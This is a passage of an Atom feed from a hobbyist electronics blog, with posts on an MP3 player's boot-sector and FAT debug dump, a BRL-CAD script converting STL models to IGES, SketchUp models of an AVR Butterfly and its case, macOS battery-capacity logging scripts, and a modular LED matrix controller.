...&lt;.t..&lt;.u.....&lt;br /&gt;3: CB 75 EF CD 18 8B 14 8B 4C 02 8B EE 83 C6 10 FE .u......L.......&lt;br /&gt;4: CB 74 1A 80 3C 00 74 F4 BE 8B 06 AC 3C 00 74 0B .t..&lt;.t.....&lt;.t.&lt;br /&gt;5: 56 BB 07 00 B4 0E CD 10 5E EB F0 EB FE BF 05 00 V.......^.......&lt;br /&gt;6: BB 00 7C B8 01 02 57 CD 13 5F 73 0C 33 C0 CD 13 ......W.._s.3...&lt;br /&gt;7: 4F 75 ED BE A3 06 EB D3 BE C2 06 BF FE 7D 81 3D Ou.............=&lt;br /&gt;8: 55 AA 75 C7 8B F5 EA 00 7C 00 00 49 6E 76 61 6C U.u........Inval&lt;br /&gt;9: 69 64 20 70 61 72 74 69 74 69 6F 6E 20 74 61 62 id partition tab&lt;br /&gt;A: 6C 65 00 45 72 72 6F 72 20 6C 6F 61 64 69 6E 67 le.Error loading&lt;br /&gt;B: 20 6F 70 65 72 61 74 69 6E 67 20 73 79 73 74 65  operating syste&lt;br /&gt;C: 6D 00 4D 69 73 73 69 6E 67 20 6F 70 65 72 61 74 m.Missing operat&lt;br /&gt;D: 69 6E 67 20 73 79 73 74 65 6D 00 00 00 00 00 00 ing system......&lt;br /&gt;E: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;F: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;11: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;12: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;13: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;14: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;15: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;16: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;17: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;18: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;19: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;1A: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;1B: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 ................&lt;br /&gt;1C: 37 00 06 03 C3 E6 F3 00 00 00 0D B3 1E 00 00 00 7...............&lt;br /&gt;1D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;1E: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................&lt;br /&gt;1F: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA ..............U.&lt;br /&gt;0&lt;br /&gt;SECTORS PER CLUSTOR 20&lt;br /&gt;BYTES PERSECTOR 0200&lt;br /&gt;FAT Init returned:0&lt;br /&gt;SECTORS PER CLUSTOR 20&lt;br /&gt;BYTES PERSECTOR 0200&lt;br /&gt;FAT boot Sector info&lt;br /&gt;FAT begins at sector 244&lt;br /&gt;Clusters begin at sector 768&lt;br /&gt;Sectors per cluster = 32&lt;br /&gt;Root dir starts at sector 736&lt;br /&gt;THESTR~1.MP3 00045 037A00 2E0F&lt;br /&gt;THESTR~2.MP3 00124 03400 2E1A&lt;br /&gt;THESTR~3.MP3 001F5 025C00 2E24&lt;br /&gt;THESTR~4.MP3 0028C 030400 2E2E&lt;br /&gt;TWINSE~1.MP3 0034D 051B249 2E39&lt;br /&gt;THEWHI~1.MP3 00494 03867AF 2E45&lt;br /&gt;THESTR~5.MP3 0057B 02FE00 2E51&lt;br /&gt;THESTR~6.MP3 0063B 032B00 2E5C&lt;br /&gt;THESTR~7.MP3 0079 034D00 2E68&lt;br /&gt;BEASTI~1.MP3 007DD 02EC9A4 2E74&lt;br /&gt;BEASTI~2.MP3 00899 02E93C3 2E80&lt;br /&gt;BEASTI~3.MP3 00954 01F172F 2E8B&lt;br /&gt;THESTR~8.MP3 009D1 03A300 2E95&lt;br /&gt;THESTR~9.MP3 00ABA 02DC00 2E9F&lt;br /&gt;THEST~10.MP3 00B71 02F00 2EA9&lt;br /&gt;THEST~11.MP3 00C2D 026900 2EB4&lt;br /&gt;05-ILE~1.MP3 00CC8 02E8C16 2EBD&lt;br /&gt;BEASTI~4.MP3 00D83 03EF2C9 2EC8&lt;br /&gt;&lt;br /&gt;Files: 18&lt;br /&gt;1A&lt;br /&gt;DONE&lt;br /&gt;&lt;/PRE&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-999978824270342995?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/999978824270342995/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=999978824270342995' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/999978824270342995'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/999978824270342995'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2010/01/new-pcbs-in-from-batchpcb.html' title='New PCBs in from BatchPCB'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-1847487942618780696</id><published>2009-12-06T20:33:00.003Z</published><updated>2009-12-06T21:45:28.987Z</updated><title type='text'>STL to IGS (IGES) Conversion</title><content type='html'>I've been trying to get my models from Sketchup into a decent file format for use with different analysis engines and for producing drawings for machining.&lt;br /&gt;&lt;br /&gt;After a week of playing about with different options I have managed to get from Sketchup files to IGES files.&lt;br /&gt;I used BRL-CAD to convert from .stl to its native format and then exported as an .igs from there.&lt;br /&gt;Below is a copy of the  script i used to convert a whole directory of files.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;# Convert an STL file to IGES format using BRL CAD&lt;br /&gt;&lt;br /&gt;for file in *.stl&lt;br /&gt;do&lt;br /&gt;#   Add the -b option or binary format stl files (aoi,solid edge etc)&lt;br /&gt;# stl-g -b ${file} ${file}.g&lt;br /&gt;&lt;br /&gt;# Use ascii format for exports from sketchup&lt;br /&gt; stl-g  ${file} ${file}.g&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;for file in *.g&lt;br /&gt;do&lt;br /&gt; mkdir ${file}.d&lt;br /&gt; g-iges -m -o ${file}.d ${file} all&lt;br /&gt; cp ${file}.d/*.igs ${file}.igs&lt;br /&gt; rm -rf ${file}.d&lt;br /&gt;done&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;I did run into an issue or two along the way. When initially export as iges with the command &lt;em&gt;g-iges -o file.igs file.g all&lt;/em&gt; the file produced caused every program I tried to load it with to crash with the exception of BRL-CAD which loaded it just fine. I found that when I used the &lt;em&gt;-m&lt;/em&gt; option and export all regions to a directory of iges files the files worked. The STL files produced by the STL output plug-in for sketchup produces STL files in the ASCII format some programs may produce files in binary format, in which case you will need to add the &lt;em&gt;-b&lt;/em&gt; option to the &lt;em&gt;stl-g&lt;/em&gt; command. I had to use this when converting the STL files from the reprap project to iges files.&lt;br /&gt;&lt;br /&gt;Why IGES files? Because I couldnt get STEP files. While STL files are widely supported they are mesh files that describe surfaces only. Most professional mechanical CAD packages use constructive solid geometry (CSG) techniques and don't like mesh files so much. That's not to say I couldn't load STL files into these packages but the loaded part was less useful when imported from STL as compared to IGES. An IGES file allows me to measure and convert to a solid object or more easily produce drawings for a machinist to work with.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-1847487942618780696?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/1847487942618780696/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=1847487942618780696' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1847487942618780696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1847487942618780696'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/12/stl-to-igs-iges-conversion.html' title='STL to IGS (IGES) Conversion'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-7747834702808823908</id><published>2009-11-22T18:04:00.004Z</published><updated>2009-11-22T18:14:30.356Z</updated><title type='text'>Complete 3D Model of Butterfly MP3</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_electronics.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_electronics.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_assembly.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_assembly.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_Case.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;;" src="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_Case.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I hope to use this data to do some stress analysis of the case design using CAE Linux and look at geting the case built using SLA or SLS techniques.&lt;br /&gt;&lt;br /&gt;The Sketchup model is at http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_and_Cases.skp&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-7747834702808823908?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_and_Cases.skp' title='Complete 3D Model of Butterfly MP3'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/7747834702808823908/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=7747834702808823908' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/7747834702808823908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/7747834702808823908'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/11/complete-3d-model-of-butterfly-mp3.html' title='Complete 3D Model of Butterfly MP3'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-594536428388729538</id><published>2009-11-14T14:47:00.002Z</published><updated>2009-11-14T15:01:47.850Z</updated><title type='text'>3D Model AVR Butterfly</title><content type='html'>I've been playing with Google SketchUp for a while as a free tool for doing electronics enclosure design (ie. MP3 Player cases). It seems quite capable although not really targeted at designs in the mm range. I think I will use a larger scale like 10:1 or 100:1 next time to see if that makes things easier.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/Butterfly.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://brokentoaster.com/Butterfly.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here is my first attempt at an AVR Butterfly model for use in case designs on the data logger and MP3 player. You can download in skp and stl format. To export SketchUp files as STL I have used the plugin from http://www.guitar-list.com/download-software/convert-sketchup-skp-files-dxf-or-stl&lt;br /&gt;&lt;br /&gt;&lt;a href="http://Brokentoaster.com/Butterfly.stl"&gt;Stereo Lithography (STL)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://Brokentoaster.com/Butterfly.skp"&gt;SketchUp (SKP)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://Brokentoaster.com/Butterfly.png"&gt;Image (PNG)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-594536428388729538?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://brokentoaster.com/Butterfly.skp' title='3D Model AVR Butterfly'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/594536428388729538/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=594536428388729538' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/594536428388729538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/594536428388729538'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/11/3d-model-avr-butterfly.html' title='3D Model AVR Butterfly'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-8456379423981676604</id><published>2009-11-14T13:58:00.004Z</published><updated>2009-11-14T14:36:07.586Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='battery'/><category scheme='http://www.blogger.com/atom/ns#' term='vim'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='periodic'/><category scheme='http://www.blogger.com/atom/ns#' term='logging'/><category scheme='http://www.blogger.com/atom/ns#' term='osx'/><category scheme='http://www.blogger.com/atom/ns#' term='terminal'/><category scheme='http://www.blogger.com/atom/ns#' term='cron'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><title type='text'>Battery Capacity Logger MkII</title><content type='html'>A minor update to my battery logger script to tidy up the format of the log file and to make a slightly nicer (maintainable) script file.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;# batterylogger.sh : Log the battery capacity to a file&lt;br /&gt;#&lt;br /&gt;filename=/var/log/batterycapacity.log&lt;br /&gt;date=`date`&lt;br /&gt;capacity=`system_profiler SPPowerDataType |grep "charge capacity"`&lt;br /&gt;count=`system_profiler SPPowerDataType |grep "Cycle count"`&lt;br /&gt;echo ${date} ${capacity} ${count}  &gt;&gt; ${filename}&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;This gives a log file output like the following &lt;br /&gt;&lt;blockquote&gt;Sat 14 Nov 2009 13:45:06 GMT Full charge capacity (mAh): 4740 Cycle count: 163&lt;/blockquote&gt;&lt;br /&gt;To create the log file in a sensible place like &lt;code&gt;/var/log/&lt;/code&gt; I did the following:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;sudo touch /var/log/batterycapacity.log&lt;br /&gt;sudo chmod 666 /var/log/batterycapacity.log&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;I've also switched to using periodic instead of cron as I can't seem to get cron to work reliably. To make it work with periodic I simply place my &lt;code&gt;batterylogger.sh&lt;/code&gt; script in the directory &lt;code&gt;/etc/periodic/daily/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;NOTE: I've had a couple of issues lately with pasting from the web into a script file and finding i get the following error:&lt;br /&gt;&lt;code&gt;No such file or directory﻿#!/bin/sh&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;I've found that this problem is due to binary characters in my text file. I think they are UTF-8 encoded characters that have slipped in from cutting and pasting. To solve this problem I use the command &lt;code&gt;vim -b &lt;i&gt;script&lt;/i&gt;&lt;/code&gt;. This will load up the file in binary mode so I can see what funny characters have found their way into my file. After deleting the offending character or characters the script functions as expected.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-8456379423981676604?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/8456379423981676604/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=8456379423981676604' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8456379423981676604'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/8456379423981676604'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/11/battery-capacity-logger-mkii.html' title='Battery Capacity Logger MkII'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-5795131205525580400</id><published>2009-11-11T21:05:00.003Z</published><updated>2009-11-11T21:52:17.465Z</updated><title type='text'>Battery Capacity Logger</title><content type='html'>I just replaced the battery in the 2005 ibook G4 today, great to return to the days of 4 hours of use. I decided I'd like to monitor the life of the battery and so wrote a quick cron job script to log the battery capacity every day. I also have installed this on my main laptop which still gives me 3 hours after 18 months of use.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Write the script.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', serif;"&gt;#!/bin/sh&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', serif;"&gt;# batterylogger.sh : Log battery capacity to a file&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', serif;"&gt;#&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;date &gt;&gt; ~/batteryCapacityLog.log&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;system_profiler SPPowerDataType | grep "charge capacity" &gt;&gt; ~/batteryCapacityLog.log&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new', serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;Make it executable and put somewhere sensible. &lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;chmod 755 batterylogger.sh&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;cp batterylogger.sh /usr/local/bin/&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Make sure it is activated daily by adding the following line in crontab using &lt;i&gt;crontab -e &lt;/i&gt;which will make it run at 5:10am every day. This time is chosen to not clash with other actions executing should my laptop be awake at 5am and also to ensure it run each morning when I wake the laptop up.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;10&lt;span class="Apple-style-span" style="white-space: pre;"&gt; &lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;5&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;*&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;*&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;*&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;/usr/local/bin/batterylogger.sh&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The format looks like the following:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Wed Nov 11 20:03:26 GMT 2009&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;          Full charge capacity (mAh): 4859&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt; I may improve the format in the future and add some nice "gnuplot" plots but this gives me the info I want right now. For the record, the outgoing battery was showing a capacity of around 350mAh. This translates to roughly 10-15 mins of use. OS X 10.5.8&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-5795131205525580400?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/5795131205525580400/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=5795131205525580400' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/5795131205525580400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/5795131205525580400'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/11/battery-capacity-logger.html' title='Battery Capacity Logger'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-57150764319818957</id><published>2009-10-04T18:42:00.004+01:00</published><updated>2009-10-04T19:49:51.719+01:00</updated><title type='text'>The MLMC website is up.</title><content type='html'>I've just put a new website up for the MLMC project. No new information over what has been mentioned in the previous blog post, but it is a start. With the initial page up I hope it will encourage me to publish information sooner rather than later. Of course I still need to find time to do some actual work on the project. Next week perhaps.... You can find the site at &lt;a href="http://brokentoaster.com/mlmc/"&gt;http://brokentoaster.com/mlmc/&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-57150764319818957?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://brokentoaster.com/mlmc/' title='The MLMC website is up.'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/57150764319818957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=57150764319818957' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/57150764319818957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/57150764319818957'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/10/mlmc-website-is-up.html' title='The MLMC website is up.'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6009914846968964394</id><published>2009-09-18T14:25:00.009+01:00</published><updated>2009-09-18T15:28:12.957+01:00</updated><title type='text'>Modular LED Matrix Controller (MLMC)</title><content type='html'>&lt;span class="Apple-style-span"  style="  white-space: pre-wrap; font-family:'Lucida Grande';"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA9s3CNI/AAAAAAAAAB8/G3UZsv3P7q8/s1600-h/IMG_9908.JPG"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;img style=" margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA9s3CNI/AAAAAAAAAB8/G3UZsv3P7q8/s400/IMG_9908.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349378072878975186" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPBGWmRhI/AAAAAAAAACE/jX6bmmcACOE/s1600-h/IMG_9910.JPG"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;img style=" margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPBGWmRhI/AAAAAAAAACE/jX6bmmcACOE/s400/IMG_9910.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349378075201521170" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'Lucida Grande', serif;"&gt;&lt;span class="Apple-style-span"  style=" white-space: pre-wrap;font-size:medium;"&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;What is it?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The MLMC is a smart daisy chain-able LED matrix module.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;I call it smart because a display of these can be extended without changing either the firmware on the module controller or the firmware on the display controller. Each individual module will take care of refreshing its display.  When new data is sent old data is passed along the chain to the next module. This makes building an arbitrary length scrolling display very simple to implement.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The LED matrix is on a separate PCB so it is simple to adapt to other LED matrices without chaining the controller PCB/firmware. This means that if you were producing a number of different sized displays you could use the same controller PCB. For example for one made from a 16 by 16 LED matrices or a large one made from custom PCBs using 16 by 16 individual 10mm LEDs.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span 